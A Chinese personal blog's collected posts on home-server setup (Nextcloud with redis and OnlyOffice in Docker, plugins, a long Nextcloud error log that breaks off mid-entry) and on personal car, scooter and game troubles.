链接:https://pan.baidu.com/s/1SLgG4nvrgf_5zZ80bKN_Gg?pwd=o06j 百度网盘APP扫描二维码真垃圾,识别不出来,微信扫码可以。 红警3 问题 3个问题 第一个:如果屏幕大的话,红警3不能全屏显示(已解决:红警3 日冕设置全屏) 第二个:就是正在玩的是时候,会突然退出。 第三个:EA上的Command&Conquer Red Alert 3:Uprising这个版本是不能安装日冕mod ### nextcloud redis设置问题 安装的环境是:Windows 11 + docker + redis redis不是容器,是直接安装在Windows 11 系统的。 原先的配置,这个配置是没用的,还这样设置了好几个月😂。 原配置不会向redis写入数据,要去掉一个 'memcache.local' => 'OCMemcacheAPCu', 'memcache.locking' => 'OCMemcacheRedis', 正确的配置 'memcache.distributed' => 'OCMemcacheRedis', 'memcache.local' => 'OCMemcacheAPCu', 'memcache.locking' => 'OCMemcacheRedis', 配置后,redis就有数据了 ### nextcloud 这个错误有点烦 这问题咋解决呀。 ### 1.4T 劲能版 jeep 自由侠 踩油门转速高,速度上不去的问题 🙄去4S店问过几次,说我刹车和油门一起踩,导致的,行车电脑记录有问题。 😂4S店说不要用两个脚开车,我都开习惯了。我用1个脚开车,感觉挺危险的。 😁后面我就经常关注这个,还真的有可能是这样的。 📌然而开车是用2个脚开呢,还是用1个脚开车安全? 🚙 目前车已经开了3年多,6.1W多公里,就3个问题,其他还好,像顿挫这个问题是不存在的,只要舍得踩油门就没这个问题。 🚙 第一个:做转向灯底座坏了,开车的颠簸,仪表会提示日行灯故障。 🚙 第二个:提示音箱故障,到4S店维修了,是车左后门接口松了。 🚙 第三个:就是上面的问题,踩油门转速高,速度上不去。 ### Docker + OnlyOffice + Nextcloud 部署和配置 之前用的是Docker + Collabora Office + Nextcloud。 因为Collabora Office 编辑大数据文档的时候,编辑很慢,经常输入一段话,要很长时间才打印出来。、所以用了OnlyOffice,这个就不会出现上面的问题。 当时打开文档的时候会很慢,要加载,不知道是不是因为frp到公网的问题。 OnlyOffice+docker部署和配置 1、docker 下面就是OnlyOffice + docker 的命令行 docker run -i -t -d -p 9980:80 --restart=always -v /home/onlyoffice/DocumentServer/logs:/var/log/onlyoffice -v /home/onlyoffice/DocumentServer/data:/var/www/onlyoffice/Data -v /home/onlyoffice/DocumentServer/lib:/var/lib/onlyoffice -v /home/onlyoffice/DocumentServer/db:/var/lib/postgresql --name onlyoffice --restart="always" onlyoffice/documentserver 然后等一段时间,浏览器输入http://IP:9980,能显示就是安装成功了。 2、获取秘钥 sudo docker exec onlyoffice /var/www/onlyoffice/documentserver/npm/json -f /etc/onlyoffice/documentserver/local.json 'services.CoAuthoring.secret.session.string' 3、nextcloud配置onlyoffice onlyoffice doces输入dockers容器服务器IP:9980 密钥输入密钥输入框,然后保存。 然后就是nextcloud的设置 ### 九号Mmax 110P 20A 充电器 逛咸鱼发现的20A充电器899,京东官网卖1299,是第一批买110p的用户补偿。他们买这个充电器600多。 然后在23号咸鱼下单,24号发顺丰,今天收到了。 充电器很大,后备箱要斜着放,比原装充电器要大很多。 电池只能通过车的接口充电,把线放到桌垫下面不行,线太粗了,盖不上。 充电速度倒是挺快,4A原装从60%到100%,要4个小时。 20A 充电器充30A要1.5个小时。买这个充电器,也是因为已经买了6399 68A的电池,如果是原装充电器要充15个小时。只能买20A的充电器。 九号店卖的8A 充电器也是869元,价格差不多,还不如到咸鱼买20A的充电器。 ### 九号Mmax110P 这个挡泥板还是有用的。 挡住了不少水和泥巴,不然都进车里了。 ### 【青龙面板】用了一段时间,发现京东可以自动评价,自动保价 可以不用自己手动评价了,还有可以自动申请保价,已经退了差不多50多元了。 青龙面板用起来还是挺方便的,又能薅羊毛。 自动评价设置 自动评价 自动申请保价 ### 九号Mmax 110p 更换轮胎 米其林City一代 909012 这个月看了小红书和百度贴吧,搜索了相关mmax110p 轮胎更换的帖子,都在说可以直上909012的轮胎。 然后在拼多多上买了米其林 city 第一代的 909012轮胎,收到的时候轮胎上的二维码都已经被刮开,不知道是不是假的。 然后周末到了附近的九号维修店,安装了,第一次100元,安装师傅技术不行,前轮是椭圆的。骑行的时候很抖,转向不灵活,增加了高度,我180身高,还要垫着脚尖,才能摆正,中撑有点支撑不了,又大大减少了续航,后面又换回原装轮胎。 💢 原装轮胎就是太窄,太薄了,25以下的速度还行,解速后,太危险。有几次过减速带,颠簸后,会左右摇摆。 米其林轮胎 后面放到了咸鱼上,300元两条卖掉了,亏了将近300,包括安装费。 今天又在京东上买了,朝阳的758510尺寸的轮胎,其实也不能太借鉴其他人的经验,适合才最重要。 毕竟上下班骑电瓶车,安全最重要。 💢 这家九号店很黑,原装电池和原装充电器回收900,电池800,充电器100。其他店回收1600,这家店技术不行,又太黑了。 ### Nextcloud 文件夹/文件分享到组,或者个人 点击分享 这里输入:用户名,电子邮件,组的名称,就可以直接分享文件夹和文件 ### NextCloud Desktop 安装和使用 1、打开官网 点击DOWNLOAD FOR DESKTP 手机可以到应用市场搜索nextcloud下载APP 选择对应的电脑系统,Windows的选择Windows 10 64 bit 2、安装Nextcloud 点击下一步 选择安装目录 点击finish 重启电脑 3、Nextcloud设置 浏览器先登录nextcloud服务 点击登录 输入nextcloud web页面网址 APP会弹出页面授权 选择从服务器同步所有内容和选择不同的文件夹(就是在本地电脑创建一个文件夹和nextcloud同步) 点击连接 如果文件多,第一次同步会很长时间 电脑本地的文件夹目录结构 ### Nextcloud 常用插件推荐 收集下自己常用的插件,因为重装了nextcloud,得记录下。 下载下来的插件解压,放到html/apps目录下面,然后到nextcloud页面的插件管理列表中启用。 dockers的版本是24.0.x的,下载的插件也是对应的版本 1)collabora office 插件 在线编辑excel,word等文档 2)talk 插件 聊天工具,手机可以下载聊天软件,手机App名称是Nextcloud Talk。这个软件没其他聊天软件好用,每次打开还要连接上服务器,才能正常发送聊天信息。 3)drawio 插件 画流程图的插件,25.0.1版本上用不了 4) calendar 插件 日历插件 5)Tasks 插件 任务管理插件 6)Deck 插件 也是任务管理插件 下载地址: 1)官网 ### Nextcloud 又重装了 docker + nextcloud ,老是出问题,要不就是页面乱码,要不就是内容错误,还找不到原因。 安装了可道云,特别垃圾,功能不清晰,花里胡巧的。office只能用Onlyoffice在线编辑,还要企业版授权,一个免费工具,还居然收费? nextcloud除了正常使用,打开有点慢外,比可道云好用多了。 ### Nextcloud 内容服务错误 百度了好久没辙,文件读写属性都正常。 之前频繁物理开关机电脑,不知道跟这个有没有关系,突然就内容错误。 错误日志 {"reqId":"sybtIHKXppsboV1zU6j1","level":4,"time":"2022-11-09T12:54:44+00:00","remoteAddr":"","user":"--","app":"no app in context","method":"","url":"--","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"--","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":["*** sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/private/Console/Application.php","line":119,"function":"loadApps","class":"OC_App","type":"::","args":[]},{"file":"/var/www/html/console.php","line":99,"function":"loadCommands","class":"OCConsoleApplication","type":"->","args":[{"class":"SymfonyComponentConsoleInputArgvInput"},{"class":"SymfonyComponentConsoleOutputConsoleOutput"}]},{"file":"/var/www/html/occ","line":11,"args":["/var/www/html/console.php"],"function":"require_once"}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"tY6L4f8grIVUc46B4ojd","level":4,"time":"2022-11-09T12:55:15+00:00","remoteAddr":"172.17.0.1","user":"--","app":"no app in context","method":"GET","url":"/","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":614,"function":"getSystemUserKey","class":"OCEncryptionKeysStorage","type":"->","args":["pubShare_ec04bcb1.publicKey","OC_DEFAULT_MODULE"]},{"file":"/var/www/html/apps/encryption/lib/KeyManager.php","line":170,"function":"getPublicShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/Users/Setup.php","line":62,"function":"validateShareKey","class":"OCAEncryptionKeyManager","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/lib/AppInfo/Application.php","line":55,"function":"setupSystem","class":"OCAEncryptionUsersSetup","type":"->","args":[]},{"file":"/var/www/html/apps/encryption/appinfo/app.php","line":37,"function":"setUp","class":"OCAEncryptionAppInfoApplication","type":"->","args":[{"class":"OCEncryptionManager"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":305,"args":["/var/www/html/apps/encryption/appinfo/app.php"],"function":"require_once"},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":186,"function":"requireAppFile","class":"OC_App","type":"::","args":[{"class":"OCAEncryptionAppInfoApplication"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["encryption"]},{"file":"/var/www/html/lib/base.php","line":1013,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem","logging"]]},{"file":"/var/www/html/index.php","line":36,"function":"handleRequest","class":"OC","type":"::","args":[]}],"File":"/var/www/html/lib/autoloader.php","Line":141,"message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","exception":{},"CustomMessage":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"}}{"reqId":"kHfxUIzRvWstNknUw3e4","level":4,"time":"2022-11-09T12:55:17+00:00","remoteAddr":"172.17.0.1","user":"chenghoufeng","app":"no app in context","method":"GET","url":"/apps/dashboard/","message":"Could not boot files_external: Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","userAgent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36","version":"24.0.7.1","exception":{"Exception":"OCPAutoloadNotAllowedException","Message":"Autoload path not allowed: /var/www/html/apps/user_ldap/lib/ldapproviderfactory.php","Code":0,"Trace":[{"file":"/var/www/html/lib/autoloader.php","line":166,"function":"isValidPath","class":"OCAutoloader","type":"->","args":["/var/www/html/apps/user_ldap/lib/ldapproviderfactory.php"]},{"function":"load","class":"OCAutoloader","type":"->","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/Server.php","line":1090,"function":"class_exists","args":["OCAUser_LDAPLDAPProviderFactory"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":162,"function":"OC{closure}","class":"OCServer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/3rdparty/pimple/pimple/src/Pimple/Container.php","line":122,"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":129,"function":"offsetGet","class":"PimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory"]},{"file":"/var/www/html/lib/private/ServerContainer.php","line":136,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",false]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":440,"function":"query","class":"OCServerContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":89,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCPLDAPILDAPProviderFactory",true]},{"function":"OCAppFrameworkUtility{closure}","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[" sensitive parameters replaced "]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":108,"function":"array_map","args":[{"class":"Closure"},[{"class":"ReflectionParameter","name":"l"},{"class":"ReflectionParameter","name":"session"},{"class":"ReflectionParameter","name":"credentialsManager"},{"class":"ReflectionParameter","name":"credentialsStore"},{"class":"ReflectionParameter","name":"eventDispatcher"},"And 1 more entries, set log level to debug to see all entries"]]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":116,"function":"buildClass","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":[{"class":"ReflectionClass","name":"OCAFiles_ExternalLibAuthPasswordLoginCredentials"}]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":133,"function":"resolve","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":465,"function":"query","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/DependencyInjection/DIContainer.php","line":437,"function":"queryNoFallback","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/lib/private/AppFramework/Utility/SimpleContainer.php","line":57,"function":"query","class":"OCAppFrameworkDependencyInjectionDIContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":161,"function":"get","class":"OCAppFrameworkUtilitySimpleContainer","type":"->","args":["OCAFiles_ExternalLibAuthPasswordLoginCredentials"]},{"file":"/var/www/html/apps/files_external/lib/AppInfo/Application.php","line":120,"function":"getAuthMechanisms","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[]},{"file":"/var/www/html/lib/private/AppFramework/Bootstrap/Coordinator.php","line":190,"function":"boot","class":"OCAFiles_ExternalAppInfoApplication","type":"->","args":[{"class":"OCAppFrameworkBootstrapBootContext"}]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":207,"function":"bootApp","class":"OCAppFrameworkBootstrapCoordinator","type":"->","args":["files_external"]},{"file":"/var/www/html/lib/private/legacy/OC_App.php","line":140,"function":"loadApp","class":"OC_App","type":"::","args":["files_external"]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":131,"function":"loadApps","class":"OC_App","type":"::","args":[["filesystem"]]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":339,"function":"setupBuiltinWrappers","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/SetupManager.php","line":379,"function":"setupRoot","class":"OCFilesSetupManager","type":"->","args":[]},{"file":"/var/www/html/lib/private/Files/Mount/Manager.php","line":95,"function":"setupForPath","class":"OCFilesSetupManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/Filesystem.php","line":320,"function":"find","class":"OCFilesMountManager","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":1172,"function":"resolvePath","class":"OCFilesFilesystem","type":"::","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Files/View.php","line":552,"function":"basicOperation","class":"OCFilesView","type":"->","args":["file_exists","/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":269,"function":"file_exists","class":"OCFilesView","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":229,"function":"getKey","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey"]},{"file":"/var/www/html/lib/private/Encryption/Keys/Storage.php","line":121,"function":"getKeyWithUid","class":"OCEncryptionKeysStorage","type":"->","args":["/files_encryption/OC_DEFAULT_MODULE/pubShare_ec04bcb1.publicKey",null]},{"file":"/var/www